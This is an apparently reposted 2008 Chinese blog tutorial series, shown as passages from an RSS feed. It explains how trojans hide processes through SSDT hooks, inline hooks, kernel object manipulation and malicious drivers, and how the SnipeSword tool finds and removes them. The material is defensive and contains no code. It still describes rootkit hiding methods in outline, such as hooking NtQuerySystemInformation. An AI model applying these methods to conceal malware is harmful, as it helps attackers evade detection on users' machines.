<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">我们先看看</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">到底是什么样子的，看下图（</span><font face="Times New Roman">04-14</font><span style="font-family: 宋体">）：</span></p>
<br />
 <img height="368" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205081148180833/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">依次选择狙剑</span><font face="Times New Roman">---</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">扩展功能</span><font face="Times New Roman">---</font><span style="font-family: Wingdings">&#224;</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">检查</span><font face="Times New Roman">---</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">筛选可疑项，就可以看到上图，那就是一个</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">表，从左到右依次是序号、当前地址、所在模块、</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">类型、原地址、函数名。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">上面都是狙剑自己对</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">的</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">，当前安全软件很多也用到了</span><font face="Times New Roman">SSDT-HOOK</font><span style="font-family: 宋体">技术来实现对系统的安全防护。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">例如上面的第</span><font face="Times New Roman">11</font><span style="font-family: 宋体">号函数，所在模块是&#8220;</span><font face="Times New Roman">D:"workspace"</font><span style="font-family: 宋体">狙剑</span><font face="Times New Roman">"SnipeSword.sys</font><span style="font-family: 宋体">&#8221;，</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">类型是&#8220;</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">&#8221;，函数是&#8220;</span><font face="Times New Roman">NtAdjustPrivilegesToken</font><span style="font-family: 宋体">&#8221;。这是狙剑本身对</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">的一个</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">，用的技术就是</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">，</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">的函数是用于增加进程权限的。</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">这个的目的是&#8220;在木马进程为自己增加权限的时候进行拦截，提醒用户注意&#8221;这在主动防御一章中会详细讲解。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">每一个函数都实现了某一种功能，比如：结束进程是由</span><font face="Times New Roman">NtTerminateProcess</font><span style="font-family: 宋体">来完成的（上图中最后的那个</span><font face="Times New Roman">257</font><span style="font-family: 宋体">号函数），如果</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">了这个，那么在进程结束前，就有机会更改结果了，可以拒绝被结束。看下图（</span><font face="Times New Roman">03-15</font><span style="font-family: 宋体">）</span></p>
<br />
 <img height="425" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205071623372977/A/1/l.jpg" width="404" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">当你试图在任务管理器中结束狙剑的进程时，系统会拒绝你的操作，其实这并不是系统拒绝的，而是狙剑自己，由于狙剑</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">了</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">，所以，结束进程的工作服务员都交给他去做了，他一旦发现结束的就是他自己，那他直接告诉服务员这个进程不能结束，然后服务员就把这个结果给我们了，其实我们的这个请求并没有真的到达应该送交的部门。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">而上面提到的查看进程用的</span><font face="Times New Roman">NtQuerySystemInformation</font><span style="font-family: 宋体">也在这里面，注意找一找就会发现了，如果想隐藏进程就可以把这个给</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">需要特别注意一下子&#8220;</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">类型&#8221;，上面的显示是&#8220;</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">&#8221;，还有一种是&#8220;</span><font face="Times New Roman">Inline-HOOK</font><span style="font-family: 宋体">&#8221;，什么是</span><font face="Times New Roman">Inline-HOOK</font><span style="font-family: 宋体">呢？</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">上面说过了，</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">就像是一个标明了什么工作由哪个部门来做的表，</span><font face="Times New Roman">SSDT-HOOK</font><span style="font-family: 宋体">就是更改了这个表的指向。而</span><font face="Times New Roman">Inline-HOOK</font><span style="font-family: 宋体">呢？他并没有更改表的指向，查找进程的工作在表中仍然指向了负责查找进程的部门。但是呢，木马却把那个部门中的人员替换了，这样仍然能达到它的目的。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><font face="Times New Roman">Inline-HOOK</font><span style="font-family: 宋体">更加的复杂、更加的邪恶、也更加的不稳定，而应用范围却是更加的广泛，查找起来更加的困难。要知道，对比</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">表中的指向是否正确，是否指向了正确的部门，要简单一些，不就是一张表么，拿原来的表对比一下就知道了。但</span><font face="Times New Roman">Inine-HOOK</font><span style="font-family: 宋体">却是替换的公司人员，</span><font face="Times New Roman">Windows</font><span style="font-family: 宋体">就像一个大公司，有成千上百的人，天知道他替换了哪一个，我们先看看下面的图（</span><font face="Times New Roman">03-16</font><span style="font-family: 宋体">）：</span></p>
<br />
 <img height="424" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205051901283901/A/1/l.jpg" width="402" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">当试图结束</span><font face="Times New Roman">IceSword.exe</font><span style="font-family: 宋体">时，会出来上面的图，</span><font face="Times New Roman">IceSword.exe</font><span style="font-family: 宋体">是另一款知名的安全程序&#8220;冰刃&#8221;的主程序，当您试图在任务管理器中结束</span><font face="Times New Roman">IceSword.exe</font><span style="font-family: 宋体">的进程时，就会出来&#8220;无法中止进程&#8221;的对话框。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">但是，当你检查</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">表时，却发现，它并没有对</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">进行</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">，那它是如何实现进程不被结束的呢？看下图</span><font face="Times New Roman">03-17</font><span style="font-family: 宋体">：</span></p>
<br />
 <img height="369" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205040666971565/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><span style="font-family: 宋体">选择狙剑</span><font face="Times New Roman">---</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">扩展功能</span><font face="Times New Roman">---</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">内核代码扫描</span><span style="font-family: 宋体">就可以得到上图。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">当然了，正常情况下，列表应该是空的，但当我运行起</span><font face="Times New Roman">IceSword.exe</font><span style="font-family: 宋体">（冰刃）后，再检查，就会出来上图中的</span><font face="Times New Roman">7</font><span style="font-family: 宋体">个</span><font face="Times New Roman">Inline-HOOK</font><span style="font-family: 宋体">项了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">内核代码扫描，是对内核代码中的</span><font face="Times New Roman">Inline-HOOK</font><span style="font-family: 宋体">进行检查，并列出被</span><font face="Times New Roman">InlineHOOK</font><span style="font-family: 宋体">的项。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">上图中，</span><font face="Times New Roman">IceSword.exe</font><span style="font-family: 宋体">的驱动</span><font face="Times New Roman">IsDrv122.sys</font><span style="font-family: 宋体">，</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">了</span><font face="Times New Roman">7</font><span style="font-family: 宋体">个函数，前六个的功能分别是&#8220;结束线程、结束进程、创建进程、创建线程、打开线程、打开进程&#8221;后面的那个与进程无关我们不去理它。但从上面</span><font face="Times New Roman">6</font><span style="font-family: 宋体">个</span><font face="Times New Roman">Inline-HOOK</font><span style="font-family: 宋体">来看，你应该知道为什么他不会被结束了吧？</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">还不能确定吗？那么，选中这些</span><font face="Times New Roman">Inline-HOOK</font><span style="font-family: 宋体">项，然后再在</span><font face="Times New Roman">Inilne-HOOK</font><span style="font-family: 宋体">的列表中按右键，选则&#8220;恢复选中的</span><font face="Times New Roman">Inline-HOOK</font><span style="font-family: 宋体">&#8221;，然后，你再打开任务管理器，试试结束</span><font face="Times New Roman">IceSword.exe</font><span style="font-family: 宋体">的进程，是不是可以结束了？</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">讲到这里，不知朋友是否发现了一问题？我上面说了，</span><font face="Times New Roman">NtQuerySystemInformation</font><span style="font-family: 宋体">是负责查询进程的，但是那个隐藏进程的测试程序</span><font face="Times New Roman">Hide.exe</font><span style="font-family: 宋体">运行起来后，无论在&#8220;</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">检查&#8221;中还是在&#8220;内核代码扫描&#8221;中，都没有任何有关这个函数的任何</span><font face="Times New Roman">HOOK</font><span style="font-family: 宋体">或</span><font face="Times New Roman">Inline-HOOK</font><span style="font-family: 宋体">的痕迹，这又是怎么回事呢？</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">不要着急，我们接着讲更深层次的进程隐藏技术。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">简单的总结一下：<em><span style="color: blue">程序就像是为了实现某一目的而定的计划书；进程呢？就是组织工人分配资源开始执行这份计划；而</span></em></span><em><span style="color: blue"><font face="Times New Roman">Windows</font></span></em><em><span style="color: blue; font-family: 宋体">操作系统呢？就是一个为我们管理电脑也是管理这些执行计划的工人的服务管理公司；我们有什么要求呢？就交给服务员将我们的要求提要给</span><span style="color: blue"><font face="Times New Roman">Windows</font></span></em><em><span style="color: blue; font-family: 宋体">，由</span><span style="color: blue"><font face="Times New Roman">Windows</font></span></em><em><span style="color: blue; font-family: 宋体">来组织工人执行我们的要求，并将结果返回给我们。如果木马替换了服务员、更改了</span><span style="color: blue"><font face="Times New Roman">SSDT</font></span></em><em><span style="color: blue; font-family: 宋体">表、或替换了</span><span style="color: blue"><font face="Times New Roman">Windows</font></span></em><em><span style="color: blue; font-family: 宋体">服务公司某职能部门的人员，我们得到的可能就是一个错的结果，或我们的要求得不到执行，就像结束进程一样。</span></em></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">如果不替换任何人员，也不更改</span><font face="Times New Roman">SSDT</font><span style="font-family: 宋体">表，还有没有办法隐藏进程呢？有的，那就是更改系统的数据结构。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">举例来说，我们查询进程其实就是向</span><font face="Times New Roman">Windows</font><span style="font-family: 宋体">发出&#8220;查询当前正在有哪几组工人正在工作&#8221;的请求，而</span><font face="Times New Roman">Windows</font><span style="font-family: 宋体">在内部又是如何查询的呢？他当然会去人力部，因为人力部有工人的档案啊，在职的离职的都有，只要将档案一翻，就明白当前有多少工人了，再把结果给我们，它的工作就完成了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">更改数据结构，也就是更改档案了，虽然人员都没问题，但档案已经被修改了，木马会偷偷的潜入人力部把它自己的档案从人力部的档案柜中偷偷的销毁，这样，当系统去查询的时候，就查不到他的档案了，系统会认为没有这组工人，虽然查询过程与查询的人员都没有问题，但结果仍然是错误的。当然了，进入人力部是需要有一定权限的，不是谁都可以进去销毁东西的，注意到与</span><font face="Times New Roman">Hide.exe</font><span style="font-family: 宋体">在一起还有一个</span><font face="Times New Roman">Sys.sys</font><span style="font-family: 宋体">文件吗？这个文件也是一个驱动程序，它的工作就是获取</span><font face="Times New Roman">R0</font><span style="font-family: 宋体">权限，以便顺利的进入内核更改数据。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">而</span><font face="Times New Roman">Hide.exe</font><span style="font-family: 宋体">之所以可以隐藏，就是因为它把系统活动进程链中（即人力部）的进程数据更改了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">那为什么</span><font face="Times New Roman">Windows</font><span style="font-family: 宋体">查不到它，专业工具却可以查到呢？这个道理很简单，因为</span><font face="Times New Roman">Windows</font><span style="font-family: 宋体">是正规公司，它的工作流程是固定的，查询工人的事情，他就是去人力部，人力部没有相关工人的信息，他就认为没有这工人，他并不会偿试去其它地方看一看。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">其实，工人们是不可能只在一个地方登记的，进入公司要在人力部登记、领工具却还要在仓库登记、发工资要在财务部登记、吃饭要在食堂登记&#8230;&#8230;。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">如果木马只是抹去了活动进程链中的数据，那么还可以从窗口、线程、句柄、对像、</span><font face="Times New Roman">Csrss.exe</font><span style="font-family: 宋体">中等许多地方找到它的信息。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">当然了，木马也会尽力的把自己的痕迹全部抹去，并且已经有马儿这么做了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">于是，基于线程调度链的进程枚举技术就出现了，什么叫线程调度链呢？在系统中</span><font face="Times New Roman">CPU</font><span style="font-family: 宋体">的时间分配是以线程为单位的，一个程序要想得到执行，必须要有线程存在于这个线程调度链中，不然，他得不到时间的分配，也就得不到执行的机会。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">还以我们上面的例子来说明，木马可以抹去人力部的资料，反正已经进来了，那里有没有也无所谓了；也可以抹去仓库中的资料，工具已经到手了，抹就抹去吧；也可以抹掉财务的资料，豁出去了，为了完成木马大业就不要钱了；但是他不能抹去食堂的资料，不是么？食堂可是按人员档案备饭的，抹掉了，没他的资料也就意味着没他们的饭吃，还不得给饿死啊？而这关键的他无法抹去的资料也就是系统中的&#8220;线程调度链&#8221;，抹去了，他自己活不下去。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">但不要小瞧了木马的智慧，它们也有自己的法子，什么办法呢？他们准备了一份假资料，在有人查询时呢，就用假资料替换掉真资料，而在食堂做饭时呢，再用真资料替换掉假资料，也就是自己构造了一个进程调度链。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">开始时还真是没人发现，不过，没有不透风的墙，出来混总是要还的，这技术最后还是让人知道了，即然知道了他们会随时替换，那查询时当然也就知道注意了，于是它又开始想其它办法，斗争就这么持继了下去。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">总之，安全与木马的斗争还远远没有结束，胜负还仍然没有分出（好像也很难分出），剿杀木马的工作仍然任重而道远，还我清净河山的愿景，还需我们大家齐心合力的来实现。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">上面对&#8220;进程&#8221;从外到里由浅到深的都讲了讲，当然了，讲的绝不对不全，因为实在太多了，就以隐藏来说，各路高人的各种奇思妙想多不胜数，多到根本无法尽述，比如欺骗眼睛的技术，就是你查时不管你，但你看时却自列表中抹掉，让你看不到，就像明明真实的资料放到了你面前，但偏偏有一个阴影档住了某处。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">但不管如何，邪恶永不能战胜正义，只要我们都关注，总有它们无处藏身的一天。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">另外，不得不说的是，查看进程只是检查手段的一种，结束进程也绝不意味着就清除了木马。所以，我们还要继续下去。看看还有什么地方可以抓到它，清除它。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">而下一章，就是另一个关键点，自启动项的检查、隐藏与清除。</span></p>
--------------------------------------------------------------------------------------<br />
本文转自狙剑作者的blog----MuseHero.blog.tianya.cn
<img src ="http://www.blogjava.net/viking/aggbug/211355.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-06-28 18:08 <a href="http://www.blogjava.net/viking/archive/2008/06/28/211355.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>疱丁解马－木马查杀深度剖析之进程篇（六）（转）</title><link>http://www.blogjava.net/viking/archive/2008/06/28/211352.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sat, 28 Jun 2008 10:02:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/06/28/211352.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/211352.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/06/28/211352.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/211352.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/211352.html</trackback:ping><description><![CDATA[<p>按上面说的方法，你可以查看所有系统中加载的驱动程序，但很显然，这么做的确是很麻烦，那有没有省事点的方法呢？有，我们看下图03-12：</p>
<img height="360" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205112121232652/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">看到上面这张图是不是有点眼熟？对了，就是上面我们查找模块时用到的图，打开方式同上，向上翻就可以看到了。蓝条选中的那个，不就是与图</span><font face="Times New Roman">03-11</font><span style="font-family: 宋体">中显示的是一个么。这里面列出了所有的驱动程序，不用一个一个找了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">到这里是不是有朋友有点火大了？明明有简单的法子，却带着我们绕了这么大一个圈子。呵，上图中的系统信息，其实也就是系统自带的一个工具，属于专业工具范围内的，且并不是太好使，木马想在这里隐藏信息很容易，而且禁止这个的运行也很简单。我们需要多了解几个法了，以备不时之需，另外，我们需要的是尽量多的学一些知识，这才是根本，了解了原理、懂得了知识，才能真正的成为高手，高手绝非只会使用工具。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">说到工具，那我们再看看专业工具对驱动程序的显示：</span></p>
<br />
 <img height="370" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205090217223015/A/1/l.jpg" width="500" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">打开狙剑</span><font face="Times New Roman">--</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">选择基本功能中的&#8220;内核模块&#8221;，看到没？</span><font face="Times New Roman">dmload.sys</font><span style="font-family: 宋体">不就在这里么。这么多，又如何来区分哪个是正常的哪个是可疑的呢？很简单，方法与我们筛选进程是一样的，按右键</span><font face="Times New Roman">---</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">选择&#8220;隐藏微软签名项&#8221;，剩下的，就是非系统的驱动了。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">这里同样提供了&#8220;停止运行&#8221;、&#8220;卸载模块&#8221;等功能，但我还得遗憾的告诉大家，卸载它也得它自己愿意才行，但想来木马是不会愿意被卸载吧，那我们就没办法了么？有，方法仍然与上面的相同，从自启动程序入手，禁止它的加载；或强制删除它的文件。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">那驱动级木马是不是就是真正的无进程呢？进程列表中找不到任何一个驱动程序的进程，而它也不像模块与线程一样，在其它进程内能够找到，是不是真的可以无进程运行呢？当然不是，我前面已经说了，一个程序的运行，一定、确定以及肯定的会依托一个进程，那这些驱动在哪个进程里呢？那就是</span><font face="Times New Roman">System</font><span style="font-family: 宋体">进程，它们是做为系统的一部分来运行的。<br />
--------------------------------------------------------------------------------------<br />
本文转自狙剑作者的blog----MuseHero.blog.tianya.cn</span></p>
<img src ="http://www.blogjava.net/viking/aggbug/211352.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-06-28 18:02 <a href="http://www.blogjava.net/viking/archive/2008/06/28/211352.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>疱丁解马－木马查杀深度剖析之进程篇（五）（转）</title><link>http://www.blogjava.net/viking/archive/2008/06/28/211351.html</link><dc:creator>viking</dc:creator><author>viking</author><pubDate>Sat, 28 Jun 2008 10:01:00 GMT</pubDate><guid>http://www.blogjava.net/viking/archive/2008/06/28/211351.html</guid><wfw:comment>http://www.blogjava.net/viking/comments/211351.html</wfw:comment><comments>http://www.blogjava.net/viking/archive/2008/06/28/211351.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/viking/comments/commentRss/211351.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/viking/services/trackbacks/211351.html</trackback:ping><description><![CDATA[<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><strong><span style="font-family: 宋体">第三种无进程木马是纯驱动型木马</span></strong></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">什么是驱动型木马呢？就是全部功能放到了驱动程序中去完成（当然了，纯驱动型的并不多见，大多驱动型木马都是配了一个程序。）</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">什么又叫驱动程序呢？驱动程序顾名思义就是驱使设备动起来的程序。</span><font face="Times New Roman">^-^ </font><span style="font-family: 宋体">呵，可能不准确，但却很容易理解。其作用是让特殊的硬件和</span><font face="Times New Roman">Windows</font><span style="font-family: 宋体">操作系统可以交换数据，比如我们按下了键盘的</span><font face="Times New Roman">A</font><span style="font-family: 宋体">键，那键盘驱动就要告诉</span><font face="Times New Roman">Windows</font><span style="font-family: 宋体">系统&#8220;这家伙按下了</span><font face="Times New Roman">A</font><span style="font-family: 宋体">键，你看咋办吧&#8221;，它只是告诉一声，后面的工作就由系统来处理了，系统会根据不同的情况进行不同的处理，如果你是在打字，那就把</span><font face="Times New Roman">A</font><span style="font-family: 宋体">这个字符显示在你的输入页面中，如果你用的是五笔，显然直接显示个</span><font face="Times New Roman">A</font><span style="font-family: 宋体">是不行的，</span><font face="Times New Roman">Windows</font><span style="font-family: 宋体">系统就会把你输入</span><font face="Times New Roman">A</font><span style="font-family: 宋体">的这个信息转给了输入法程序&#8230;&#8230;最终实现你按</span><font face="Times New Roman">A</font><span style="font-family: 宋体">的目的。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">但驱动又怎么会与木马有了关系呢？这就要从头说起了，话说当年木马与驱动本来是分处于两个天地，互不相干的。但随着杀毒软件、安全工具等木马杀手对木马的围追堵截越来越是凶狠，木马终于感到有点穷途未路了，在最后关头，它盯上了驱动程序！为什么盯上了驱动呢？因为驱动程序由于其特殊性，使得它在系统中有着超越一切的权力，而且有着优先加载执行的优势，它是做为操作系统的一部分来运行的。详细情况涉及到系统权限的划分与优先级设定，有兴趣的可以查阅相关资料，这里只要明白一点就行&#8220;系统的权限分为两种</span><font face="Times New Roman">R0</font><span style="font-family: 宋体">与</span><font face="Times New Roman">R3</font><span style="font-family: 宋体">，一般的程序全部为</span><font face="Times New Roman">R3</font><span style="font-family: 宋体">权限，其行为受到了很多限制；而操作系统与驱动则为</span><font face="Times New Roman">R0</font><span style="font-family: 宋体">权限，拥有对整个计算机的全部权力，可以为所欲为&#8221;。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">举例来说，杀毒软件就像一个公司的人力部，对员工的行为进行考核，发现不好的就给予惩罚或辞退。如果木马总是隐藏在员工群里，那么就会受到严格的检查与监管，一旦被查出有问题就会被立即辞退。而操作系统就是公司的董事会或股东大会，驱动程序是董事或股东，有着超出人力部门监管的权力。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">为了逃脱追杀，开始有木马以驱动程序的身份出现，当然了，木马这个驱动是没有硬件设备的，呵，如果中一个木马它就附带一个设备，那么，哪怕它只是给一支鼠标，我也会冲天大喊&#8220;木马们，都到我这里来吧&#8221;。所以它们有一个好听且很容易听明白的名字&#8220;虚拟设备驱动程序&#8221;。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">当木马成为公司的董事的时候，身为人力部门的安防程序开始感到郁闷，明明发现那家伙就有问题，但偏偏没权力辞退它。于是，杀毒软件开始谋求同样的身份，于是杀毒软件也开始挂驱动，使其有了董事的身份来兼人力监管，于是，新一轮的斗争开始了。而这一轮的斗争更是残酷，本来在员工层的斗争转到了高层，本来斗争的结果也就是员工被辞退，还不至于伤筋动骨涉及公司根本，但现在却是一不小心就让公司整个解体了。对应于我们这些可怜的用户来说，杀软与木马的斗争，一个不好惹来的就是蓝屏死机、系统崩溃。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><font face="Times New Roman">OK</font><span style="font-family: 宋体">，了解了驱动程序后，我们就要回到正题来了，我们如何知道系统加载了哪些驱动呢？又如何知道哪些驱动是正常的系统驱动，哪些是木马的驱动呢？看下图</span><font face="Times New Roman">03-9</font><span style="font-family: 宋体">：</span></p>
<br />
 <img height="452" alt="" src="http://laiba.tianya.cn/laiba/images/37007/09487205141516195361/A/1/l.jpg" width="464" onload="javascript : img_auto_size(this,500,true);" align="center" boder="0" /><br />
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">在桌面我的电脑图标上按右键，依次选择&#8220;属性</span><font face="Times New Roman">---</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">硬件</span><font face="Times New Roman">---</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">设备管理器&#8221;就可以打开上面的窗口了，再勾选上&#8220;查看</span><font face="Times New Roman">----</font><span style="font-family: Wingdings">&#224;</span><span style="font-family: 宋体">显示隐藏的设备&#8221;就可以看到&#8220;非即插即用驱动程序&#8221;。</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; text-indent: 21pt; line-height: 150%"><span style="font-family: 宋体">除了非即插即用外，其它的同级项目都是您机器上的硬件及它们的信息、资源、驱动等，他们是根正苗红的正经设备。由于这些都与硬件有关，所以，木马动它们的可能性很小，必竟木马也不想你的机器崩溃啊。因此，大多数木马驱动都隐藏在&#8220;非即插即用驱动程序&#8221;下面，而这里面的则是那些虚拟设备了（注：非即插即用驱动程序并非就是虚拟设备驱动程序，这涉及到以前老版系统中的一些个问题，这里不再细说，您只需要明白，在当前的情况下，这里面大多都是虚拟设备驱动程序就可以了。）</span></p>
<br />

<p style="margin: 0cm 0cm 0pt; line-height: 150%"><font face="Times New Roman">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </font><span style="font-family: 宋体">选中某一个项点鼠标右键，再选属性，得到下图</span><font face="Times New Roman">03-10</font><span style="font-family: 宋体">：</span></p>
<br />
